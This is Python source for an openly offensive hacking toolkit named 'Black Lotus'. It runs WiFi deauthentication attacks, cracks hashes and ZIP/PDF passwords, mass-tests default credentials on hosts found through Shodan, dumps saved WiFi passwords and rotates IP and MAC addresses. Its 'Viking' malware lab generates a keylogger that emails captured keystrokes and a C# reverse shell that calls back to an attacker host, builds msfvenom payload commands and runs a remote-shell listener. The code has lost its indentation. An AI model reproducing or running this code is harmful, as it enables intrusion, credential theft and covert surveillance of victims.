try:
if check_wifi_result[int(wifi_interface_choice)]:
break
except:
print("Please enter a number that corresponds with the choices.")
hacknic = check_wifi_result[int(wifi_interface_choice)]
print("\033[37mWiFi adapter connected!\nNow let's kill conflicting processes:\033[37m")
kill_confilict_processes = subprocess.run(["sudo", "airmon-ng", "check", "kill"])
print("Putting Wifi adapter into monitored mode:")
put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic])
discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", hacknic + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
try:
while True:
subprocess.call("clear", shell=True)
for file_name in os.listdir():
fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
if ".csv" in file_name:
with open(file_name) as csv_h:
csv_h.seek(0)
csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
for row in csv_reader:
if row["BSSID"] == "BSSID":
pass
elif row["BSSID"] == "Station MAC":
break
elif check_for_essid(row["ESSID"], active_wireless_networks):
active_wireless_networks.append(row)
print("Scanning. Press Ctrl+C when you want to select the target wireless network.\n")
print("+---+---------------------+------------+------------------------------+ ")
print("|No |BSSID |Channel |ESSID |")
print("+---+---------------------+------------+------------------------------+")
for index, item in enumerate(active_wireless_networks):
print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
time.sleep(1)
except KeyboardInterrupt:
print("\nReady to attack")
while True:
choice = input("\033[37mBlack Lotus(\033[31mattack\033[37m)\033[31m>\033[37m ")
try:
if active_wireless_networks[int(choice)]:
break
except:
print("Please try again.")
hackbssid = active_wireless_networks[int(choice)]["BSSID"]
hackchannel = active_wireless_networks[int(choice)]["channel"].strip()
subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])
subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
try:
while True:
print("Deauthenticating clients, press ctrl-c to stop")
except KeyboardInterrupt:
print("Stop monitor mode")
subprocess.run(["airmon-ng", "stop", hacknic + "mon"])
print("\033[31mExiting ATOM!!\033[37m")
#----------------------------------------------------------------------------------------------------------------------
total_urls_visited =0
def links():
colorama.init()
GREEN = colorama.Fore.GREEN
GRAY = colorama.Fore.LIGHTBLACK_EX
RESET = colorama.Fore.RESET
YELLOW = colorama.Fore.YELLOW
internal_urls = set()
external_urls = set()
def is_valid(url):
parsed = urlparse(url)
return bool(parsed.netloc) and bool(parsed.scheme)
def get_all_website_links(url):
urls = set()
domain_name = urlparse(url).netloc
soup = BeautifulSoup(requests.get(url).content, "html.parser")
for a_tag in soup.findAll("a"):
href = a_tag.attrs.get("href")
if href == "" or href is None:
continue
href = urljoin(url, href)
parsed_href = urlparse(href)
href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path
if not is_valid(href):
continue
if href in internal_urls:
continue
if domain_name not in href:
if href not in external_urls:
print(f"{GRAY}[!] External link: {href}{RESET}")
external_urls.add(href)
continue
print(f"{GREEN}[*] Internal link: {href}{RESET}")
urls.add(href)
internal_urls.add(href)
return urls
def crawl(url, max_urls=30):
global total_urls_visited
total_urls_visited += 1
print(f"{YELLOW}[*] Crawling: {url}{RESET}")
links = get_all_website_links(url)
for link in links:
if total_urls_visited > max_urls:
break
crawl(link, max_urls=max_urls)
if __name__ == "__main__":
crawl(input("\033[37m Enter URL \033[36m>\033[37m "))
print("[+] Total Internal links:", len(internal_urls))
print("[+] Total External links:", len(external_urls))
print("[+] Total URLs:", len(external_urls) + len(internal_urls))
#----------------------------------------------------------------------------------------------------------------------
def subdomain():
domain = input("\033[37mBlack Lotus(\033[36mSubdomain/URL\033[37m) \033[31m>\033[37m ")
dir = input("\033[37mBlack Lotus(\033[36mSubdomain/file\033[37m) \033[31m>\033[37m ")
print("\n\033[36mResults will be saved as 'discovered_subdomains.txt'\033[37m")
file = open(dir)
content = file.read()
subdomains = content.splitlines()
discovered_subdomains = []
for subdomain in subdomains:
url = f"http://{subdomain}.{domain}"
try:
requests.get(url)
except requests.ConnectionError:
pass
else:
print("\033[37m[\033[31m+\033[37m] Discovered subdomain:\033[33m", url)
discovered_subdomains.append(url)
with open("discovered_subdomains.txt", "w") as f:
for subdomain in discovered_subdomains:
print(subdomain, file=f)
#----------------------------------------------------------------------------------------------------------------------
def detect_arp():
import os
try:
from scapy.all import Ether, ARP, srp, sniff, conf
import scapy.all as scapy
except:
os.system("pip3 install scrapy ")
from scapy.all import Ether, ARP, srp, sniff, conf
import scapy.all as scapy
def mac(ipadd):
arp_request = scapy.ARP(pdst=ipadd)
br = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_req_br = br / arp_request
list_1 = scapy.srp(arp_req_br, timeout=5,
verbose=False)[0]
return list_1[0][1].hwsrc
def sniff(interface):
scapy.sniff(iface=interface, store=False,
prn=process_sniffed_packet)
def process_sniffed_packet(packet):
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
originalmac = mac(packet[scapy.ARP].psrc)
responsemac = packet[scapy.ARP].hwsrc
os.system('cls||clear')
print("""\033[31m
█████╗ ██████╗ ██████╗ ███████╗██████╗ ██████╗ ██████╗ ███████╗
██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██╔═══██╗██╔═══██╗██╔════╝
███████║██████╔╝██████╔╝ ███████╗██████╔╝██║ ██║██║ ██║█████╗
██╔══██║██╔══██╗██╔═══╝ ╚════██║██╔═══╝ ██║ ██║██║ ██║██╔══╝
██║ ██║██║ ██║██║ ███████║██║ ╚██████╔╝╚██████╔╝██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝
█████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
███████║ ██║ ██║ ███████║██║ █████╔╝
██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
██████╗ ███████╗████████╗███████╗ ██████╗████████╗ ██████╗ ██████╗
██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
██║ ██║█████╗ ██║ █████╗ ██║ ██║ ██║ ██║██████╔╝
██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║ ██║██╔══██╗
██████╔╝███████╗ ██║ ███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
By Black Lotus \033[37m""")
a = input("Enter interface to sniff \033[36m|>\033[37m ")
print("Starting sniffing process...")
time.sleep(1)
print("Detection sequence initialised....\n press Ctrl + C to stop")
sniff(a)
#----------------------------------------------------------------------------------------------------------------------
def hash_crack():
os.system('cls||clear')
import hashlib
print("""\033[31m
▒▒░░░░░░░░░░░░█████ \033[37m██╗ ██╗ █████╗ ███████╗██╗ ██╗ ██╗ █████╗ ██████╗\033[31m
▒▒░░ ▒▒█ \033[37m██║ ██║██╔══██╗██╔════╝██║ ██║ ██║ ██╔══██╗██╔══██╗\033[31m
▒▒░░ ▒▒█ \033[37m███████║███████║███████╗███████║ ██║ ███████║██████╔╝\033[31m
▒▒░░ ▒▒█ \033[37m██╔══██║██╔══██║╚════██║██╔══██║ ██║ ██╔══██║██╔══██╗\033[31m
▒▒░░ ▒▒█ \033[37m██║ ██║██║ ██║███████║██║ ██║ ███████╗██║ ██║██████╔╝\033[31m
▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \033[37m╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝\033[31m
▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ \033[31m+\033[37m| \033[34mAlgorithm \033[37m|\033[31m+\033[31m
▒▒▒▒░░▒▒░░░░░░░░░░▒▒░░░░░░░░░░░░ \033[37m| \033[31mA\033[37m) md5 |\033[31m
▒▒▒▒░░▒▒░░░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░ \033[37m| \033[31mB\033[37m) sha1 |\033[31m \033[31m+\033[37m--| \033[31mHelp Menu \033[37m|---------------------------\033[31m+\033[31m
▒▒▒▒░░▒▒░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░ \033[37m| \033[31mC\033[37m) sha224 |\033[31m \033[37m| \033[36mencryption\033[37m: Encrypt a text with a \033[37m|\033[31m
▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ \033[37m| \033[31mD\033[37m) sha256 |\033[31m \033[37m| hashing algorithm (5 available) \033[37m|\033[31m
▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ \033[37m| \033[31mE\033[37m) sha384 |\033[31m \033[37m| \033[36mdecryption\033[37m: Decrypt a hash using \033[37m|\033[31m
▒▒▒▒░░▒▒░░ ░░░░ ░░ ▒▒ \033[37m| \033[31mF\033[37m) sha512 |\033[31m \033[37m| a wordlist and the hashing algorithm \033[37m|\033[31m
▒▒▒▒░░▒▒ ░░ ▒▒ \033[31m+\033[37m-------------\033[31m+\033[31m \033[31m+\033[37m------------------------------------------\033[31m+\033[31m
▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \033[37m""")
hash_method = True
def encrypt():
une = input("Text to encrypt \033[31m>\033[37m ")
algorithm1 = input("Algorithm \033[31m>\033[37m ")
message = une.encode('utf-8')
if algorithm1 == "A":
h = hashlib.md5(message)
elif algorithm1 == "B":
h = hashlib.sha1(message)
elif algorithm1 == "C":
h = hashlib.sha224(message)
elif algorithm1 == "D":
h = hashlib.sha256(message)
elif algorithm1 == "E":
h = hashlib.sha384(message)
elif algorithm1 == "F":
h = hashlib.sha512(message)
else:
print("This algorithm '", algorithm1, "' is not recognized or not supported")
return(encrypt())
print("Original text '", une, "', ", "hashed text '", h.hexdigest(), "' ")
def decrypt():
pass_found = 0
input_hash = input("Enter the hashed password: ")
algorithm1 = input("Algorithm \033[31m>\033[37m ")
pass_doc = input("\nEnter passwords filename including path(root / home/): ")
try:
pass_file = open(pass_doc, 'r')
except:
print("Error:")
print(pass_doc, "is not found.\nPlease give the path of file correctly.")
quit()
for word in pass_file:
enc_word = word.encode('utf-8')
if algorithm1 == "A":
hash_word = hashlib.md5(enc_word.strip())
elif algorithm1 == "B":
hash_word = hashlib.sha1(enc_word.strip())
elif algorithm1 == "C":
hash_word = hashlib.sha224(enc_word.strip())
elif algorithm1 == "D":
hash_word = hashlib.sha256(enc_word.strip())
elif algorithm1 == "E":
hash_word = hashlib.sha384(enc_word.strip())
elif algorithm1 == "F":
hash_word = hashlib.sha512(enc_word.strip())
else:
print("This algorithm '", algorithm1, "' is not recognized or not supported")
digest = hash_word.hexdigest()
if digest == input_hash:
print("\033[32mPassword found!\033[37m\nThe password is: \033[36m", word, " \033[37m")
pass_found = 1
break
if not pass_found:
print("Password is not found in the", pass_doc, "file")
print('\n')
while hash_method:
a = input("\n\033[31mBlack Lotus(\033[31mencryption/decryption\033[37m) \033[31m>\033[37m ")
if a == "encryption":
encrypt()
elif a == "decryption":
decrypt()
elif a == "help":
print("""
\033[31m+\033[37m--| \033[31mHelp Menu \033[37m|-----------------------------------------------------------\033[31m+\033[37m
\033[37m| \033[31mencryption\033[37m: Encrypt a text with a hashing algorithm (5 available) \033[37m|\033[37m
\033[37m| \033[31mdecryption\033[37m: Decrypt a hash using a wordlist and the hashing algorithm \033[37m|\033[37m
\033[31m+\033[37m--------------------------------------------------------------------------\033[31m+\033[31m
To exit type 'exit'
\033[37m""")
elif a == "exit":
hash_method = False
else:
print(a, "not recognized as internal or external command")
print("Type 'help' to reveal the help menu")
#----------------------------------------------------------------------------------------------------------------------
def zip_crack():
wordlist = input("\033[37mBlack Lotus(\033[31mZIP/Wordlist\033[37m) \033[31m>\033[37m ")
zip_file = input("\033[37mBlack Lotus(\033[31mZIP/file\033[37m) \033[31m>\033[37m ")
zip_file = zipfile.ZipFile(zip_file)
n_words = len(list(open(wordlist, "rb")))
print("\033[37mTotal passwords for testing: \033[36m", n_words)
print("\033[37m ")
with open(wordlist, "rb") as wordlist:
for word in tqdm(wordlist, total=n_words, unit="word"):
try:
zip_file.extractall(pwd=word.strip())
except:
continue
else:
print("\033[37m[\033[36m+\033[37m] Password found: \033[36m", word.decode().strip())
print("\033[37m")
exit(0)
print("\033[37m[\033[33m!\033[37m] Password not found, try other wordlist.")
#----------------------------------------------------------------------------------------------------------------------
def pdf_crack():
passlist = input("\033[31mBlack Lotus(\033[31mPDF/Wordlist\033[37m) \033[31m>\033[37m ")
pdf_file = input("\033[31mBlack Lotus(\033[31mPDF/File\033[37m) \033[31m>\033[37m ")
passwords = [ line.strip() for line in open(passlist) ]
for password in tqdm(passwords, "Decrypting PDF"):
try:
with pikepdf.open(pdf_file, password=password) as pdf:
print("\033[37m[\033[31m+\033[37m] Password found:\033[31m", password)
print("\033[37m ")
break
except pikepdf._qpdf.PasswordError as e:
continue
#----------------------------------------------------------------------------------------------------------------------
def shodan():
import shodan
import time
import requests
import re
#api key
SHODAN_API_KEY = input("\033[31mBlackLotus(\033[31mSHODAN API KEY\033[37m) \033[31m>\033[37m ")
api = shodan.Shodan(SHODAN_API_KEY)
def request_page_from_shodan(query, page=1):
while True:
try:
instances = api.search(query, page=page)
return instances
except shodan.APIError as e:
print(f"Error: {e}")
time.sleep(5)
def has_valid_credentials(instance):
sess = requests.Session()
proto = ('ssl' in instance) and 'https' or 'http'
try:
res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False)
except requests.exceptions.ConnectionError:
return False
if res.status_code != 200:
print("[\033[31m-\033[37m] Got HTTP status code {res.status_code}, expected 200")
return False
# search the CSRF token using regex
token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1)
res = sess.post(
f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",
f"username=admin&password=password&user_token={token}&Login=Login",
allow_redirects=False,
verify=False,
headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
if res.status_code == 302 and res.headers['Location'] == 'index.php':
# Redirects to index.php, we expect an authentication success
return True
else:
return False
def process_page(page):
result = []
for instance in page['matches']:
if has_valid_credentials(instance):
print(f"[\033[31m+\033[37m] valid credentials at : {instance['ip_str']}:{instance['port']}")
result.append(instance)
return result
# searches on shodan using the given query, and iterates over each page of the results
def query_shodan(query):
print("[\033[34m*\033[37m] querying the first page")
first_page = request_page_from_shodan(query)
total = first_page['total']
already_processed = len(first_page['matches'])
result = process_page(first_page)
page = 2
while already_processed < total:
# break just in your testing, API queries have monthly limits
break
print("querying page {page}")
page = request_page_from_shodan(query, page=page)
already_processed += len(page['matches'])
result += process_page(page)
page += 1
return result
# search for DVWA instances
res = query_shodan('title:dvwa')
print(res)
#----------------------------------------------------------------------------------------------------------------------
def ghost_anon():
ghost_invinsible = True
os.system("cls || clear")
os.system("sudo anonsurf start")
while ghost_invinsible:
os.system("sudo macchanger -r eth0||sudo macchanger --random enp0s25")
os.system("cls||clear")
os.system("sudo anonsurf change")
os.system("cls||clear")
print("""\033[37m
.'``'. ...
:x x`....'` ; \033[31mGhost mode enabled!!!\033[37m
`. :' Your IP and MAC address
`': `. are changing every 30 seconds...
`:. `.
: `. `.
`..'`... `.
`... `.
``... `.
`````.
""")
print("\n\033[31mTo stop press 'CTRL + C'\033[39m")
time.sleep(30)
#----------------------------------------------------------------------------------------------------------------------
def emails():
url = input("\033[31mBlack Lotus(\033[31mEmail/URL\033[37m) \033[31m>\033[37m ")
EMAIL_REGEX = r"""(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])"""
print("This may require to auto-install Chromium for the email harvesting")
session = HTMLSession()
r = session.get(url)
r.html.render()
print("+-----------------------+")
print("| EMAILS |")
for re_match in re.finditer(EMAIL_REGEX, r.html.raw_html.decode()):
print("+-----------------------+")
print("|", re_match.group())
#----------------------------------------------------------------------------------------------------------------------
def known_password_finder():
import subprocess
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i, ""))
input("")
#----------------------------------------------------------------------------------------------------------------------
def viking_malware():
import os
os.system("cls||clear")
print("\033[31mBLACK LOTUS EXCLUSIVE CYBERWEAPON")
print(r"""
, ██▒ █▓ ██▓ ██ ▄█▀ ██▓ ███▄ █ ▄████
, |\,__ ▓██░ █▒▓██▒ ██▄█▒ ▓██▒ ██ ▀█ █ ██▒ ▀█▒
|\ \/ `. ▓██ █▒░▒██▒▓███▄░ ▒██▒▓██ ▀█ ██▒▒██░▄▄▄░
\ `-.:. `\ ▒██ █░░░██░▓██ █▄ ░██░▓██▒ ▐▌██▒░▓█ ██▓
`-.__ `\=====| ▒▀█░ ░██░▒██▒ █▄░██░▒██░ ▓██░░▒▓███▀▒
/=`'/ ^_\ ░ ▐░ ░▓ ▒ ▒▒ ▓▒░▓ ░ ▒░ ▒ ▒ ░▒ ▒
.' /\ .=) ░ ░░ ▒ ░░ ░▒ ▒░ ▒ ░░ ░░ ░ ▒░ ░ ░
.-' .'| '-(/_| ░░ ▒ ░░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░
.' __( \ .'` ░ ░ ░ ░ ░ ░ ░
/_.'` `. |` ░
\ | The Ultimate Malware Development Toolkit
|/ Type 'Lab' to reveal the malware panel
""")
mallab = True
while mallab:
b = input("\033[31mBlack Lotus\033[37m(\033[31mViking\033[37m) \033[31m>\033[37m ")
if b == "Lab":
os.system("cls||clear")
payload = "NOT SET"
payload_extension = "NOT SET"
payload_os = "NOT SET"
local_ip = "NOT SET"
lport = "NOT SET"
payload_name = "NOT SET"
payload_location = "NOT SET"
link_true_false="False"
def help():
os.system('cls||clear')
print("""\033[37m
============================== \033[31mMalware Lab Panel\033[37m ==============================
\033[31mCore Commands\033[37m
set payload 'number' Set the specific payload to generate, #Example: set payload 1
set lhost Set custom local ip that you want the payload to listen
|_You can see your local ip by typing 'lhost'
lhost Auto set lhost of your machine
set lport Set the port that you want the payload to listen
set name Set the payload name
set location Set the location that the payload will be stored
|_If you choose 'set location', you are not allowed to use link
link (NON supported yet) Generate the payload as a link(only in local network)
|_If you choose link, you are not allowed to use 'set location'
config see the payload configuration
listener start a listener
compile Generate the payload command ( use 'config' to see your payload )
\033[31mMSF Payloads\033[37m (Use Metasploit to create \033[31mReverse Shell\033[37m payloads\033[37m)
\033[31m[=============================================================>\033[37m
[\033[31m1\033[37m]Android \033[33m|\033[37m [\033[31m2\033[37m]Linux \033[33m|\033[37m [\033[31m3\033[37m] Windows \033[33m|\033[37m [\033[31m4\033[37m] Mac OS X \033[33m|\033[37m [\033[31m5\033[37m] Python \033[33m|\033[37m [\033[31m6\033[37m] Bash
\033[31mCustom Payloads \033[37m(You dont need msfvenom to create \033[31mReverse Shell\033[37m payloads\033[37m)
\033[31m[=============================================================>\033[37m
[\033[31m7\033[37m] Windows C# (undetectable)
[\033[31m8\033[37m] Keylogger (Only requires email and password for your smtp gmail server)
""")
help()
lab = True
while lab:
def keylogger():
email = input("\033[37mEmail > \033[31m")
password = input("\033[37mPassword > \033[31m")
name = input("\033[37mFile Name > \033[31m")
code1 = (r"""
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 20 """)
email_1 = str("EMAIL_ADDRESS = '" + email + "' ")
password_1 = str("EMAIL_PASSWORD = '" + password + "' ")
code2 = str(r"""
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def sendmail(self, email, password, message):
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
""")
code_mal = str(code1 + "\n" + email_1 + "\n" + password_1 + "\n" + code2)
keylogger_rev=open(name + ".py","w+")
keylogger_rev.write(code_mal)
keylogger_rev.close()
print(str("Malware ready: \033[31m" + name + ".py\033[37m"))
file_name_byte = str(name +".py")
file_stats = os.stat(file_name_byte)
print("File size: ", file_stats.st_size, " bytes!")
a = input("\033[31mBlack Lotus\033[37m(\033[31mMalware Lab\033[37m) \033[31m>\033[37m ")
#--------------------------------------------------------------------------------------------------------------
# PAYLOADS
#--------------------------------------------------------------------------------------------------------------
if a == "set payload 1":
payload = 'android/meterpreter/reverse_tcp'
print("\033[37mPayload => \033[31m", payload)
payload_os = 'Android'
payload_extension='apk'
#android payload
elif a == "set payload 2":
payload = 'linux/x86/meterpreter/reverse_tcp'
print("\033[37mPayload => \033[31m", payload)
payload_os='Linux'
payload_extension='elf'
#linux payload
elif a == "set payload 3":
payload = 'windows/meterpreter/reverse_tcp'
print("\033[37mPayload => \033[31m", payload)
payload_os='Windows'
payload_extension='exe'
#windows payload
elif a == "set payload 4":
payload = 'osx/x86/shell_reverse_tcp'
print("\033[37mPayload => \033[31m", payload)
payload_os='Mac OS X'
#MAC OS PAYLOAD
elif a == "set payload 5":
payload = 'cmd/unix/reverse_python'
print("\033[37mPayload => \033[31m", payload)
payload_os='Python'
payload_extension='py'
#Python payload
elif a == "set payload 6":
payload = 'cmd/unix/reverse_bash'
print("\033[37mPayload => \033[31m", payload)
payload_os='Bash'
payload_extension='sh'
#Bash Payload
elif a == "set payload 7":
payload = 'C# Reverse shell'
print("\033[37mPayload => \033[31m", payload)
payload_os='Windows'
payload_extension='exe'
# C# Payload
elif a == "set payload 8":
payload = 'Python Keylogger'
print("\033[37mPayload => \033[31m", payload)
payload_os='Windows/Linux'
payload_extension='py'
# Python Keylogger
keylogger()
#--------------------------------------------------------------------------------------------------------------
# CONFIG
#--------------------------------------------------------------------------------------------------------------
elif a == "set lport":
lport=input("\033[37mLPort > \033[31m")
#local port
elif a == "lhost":
import socket
import threading
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
print("\033[37mLHost: \033[31m", local_ip)
elif a =="set lhost":
local_ip=input("\033[37mLHost > \033[31m")
elif a =="set name":
payload_name=input("\033[37mName > \033[31m")
elif a =="set location":
payload_location=input("\033[37mDirectory > \033[31m")
link_true_false="False"
elif a =="link":
#payload_location="/var/www/html/"
#link_true_false="True"
print("not supported yet")
elif a == "config":
print("\n\033[37m============================= \033[31mConfiguration\033[37m =============================")
print("\n\033[31m>>>>>>>>>>>>>>>>>>>>")
print("\033[37mPAYLOAD \033[31m> ", payload)
print("\033[37mExtension \033[31m> ", payload_extension)
print("\033[37mOS/SCRIPT \033[31m> ", payload_os)
print("\033[37mLHost \033[31m> ", local_ip)
print("\033[37mLPort \033[31m> ", lport)
print("\033[37mName \033[31m> ", payload_name)
print("\033[37mDirectory \033[31m> ", payload_location)
print("\033[37mLink \033[31m> ", link_true_false)
print("\033[31m>>>>>>>>>>>>>>>>>>>>\033[37m")
print("\n")
elif a == "compile":
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
if payload == "android/meterpreter/reverse_tcp":
print("\n\033[37mYour Payload is Ready:")
print('\033[31msudo msfvenom -p ' + str(payload) + " LHOST=" + str(local_ip) + " LPORT=" + str(lport) + " R> " + str(payload_name) + "." + str(payload_extension))
print("\n\033[37mUse this command to generate your payload")
print("\033[37m(It requires msfvenom to be installed)")
elif payload == "C# Reverse shell":
def master():
code1 = (r"""
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{""")
code2 = (r""" {
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}""")
lhost = local_ip
one = str(""" " """)
two = str(""" ", """)
rev = (str(" using(TcpClient client = new TcpClient(" + one.strip() + lhost + two.strip() +" " + lport + "))"))
name = payload_name
malware_rev=open(name + ".cs","w+") #you can change the file name
code_mal = str(code1 + "\n" + rev + "\n" + code2)
malware_rev.write(code_mal)
malware_rev.close()
try:
comp = (str("mcs -out:" + name + ".exe " + name + ".cs"))
os.system(comp)
except:
os.system("sudo apt install mono-mcs")
comp = (str("mcs -out:" + name + ".exe " + name + ".cs"))
os.system(comp)
print(str("Malware ready: \033[31m" + name + ".exe\033[37m"))
file_name_byte = str(name +".exe")
file_stats = os.stat(file_name_byte)
print("File size: ", file_stats.st_size, " bytes!")
master()
else:
print("\n\033[37mYour Payload is Ready:")
print('\033[31msudo msfvenom -p ' + str(payload) + " LHOST=" + str(local_ip) + " LPORT=" + str(lport) + " -f " + str(payload_extension) + " > " + str(payload_name) + "." + str(payload_extension))
print("\n\033[37mUse this command to generate your payload")
print("\033[37m(It requires msfvenom to be installed)")
elif a == "help":
help()
elif a =="exit":
lab = False
mallab = False
else:
print("' " + str(a) + " '", "is not recognized as internal or external command")
print("Type help to reveal the panel")
elif b =="exit":
mallab = False
else:
print("' " + str(b) + " '", "is not recognized as internal or external command")
#----------------------------------------------------------------------------------------------------------------------
def reverse_server():
print("The payload is located in the same directory of Black-Lotus in the name of 'backdoor.py'")
print("Open and edit it for use. Manual included in it's source code")
import socket
HOST = input("\n\033[37mServer LHost \033[31m>\033[37m ") # Add the ip of your machine to connect
PORT = int(input("\033[37mServer LPort \033[31m>\033[37m ")) # Add the port you want it to listen
server = socket.socket()
server.bind((HOST, PORT))
print('\n\033[37m[\033[31m+\033[37m] Database connected')
print('\033[37m[\033[31m+\033[37m] Initialising target ..')
print('\033[37m[\033[31m+\033[37m] Grab a coffe, Waiting for an incoming connection ...')
server.listen(1)
client, client_addr = server.accept()
print('\033[37m[\033[31m+\033[37m] WE HAVE A SHELL!!')
print("\n\033[37m[\033[31m+\033[37m] Target '", client_addr, "' connected sucessfully")
while True:
command = input("\n\033[37mBlack Lotus(\033[31mRemote/shell\033[37m) \033[31m>\033[37m")
command = command.encode()
client.send(command)
print('\n\033[37m[\033[31m*\033[37m] Command sent', command )
output = client.recv(1024)
output = output.decode()
print(f"Output: {output}")
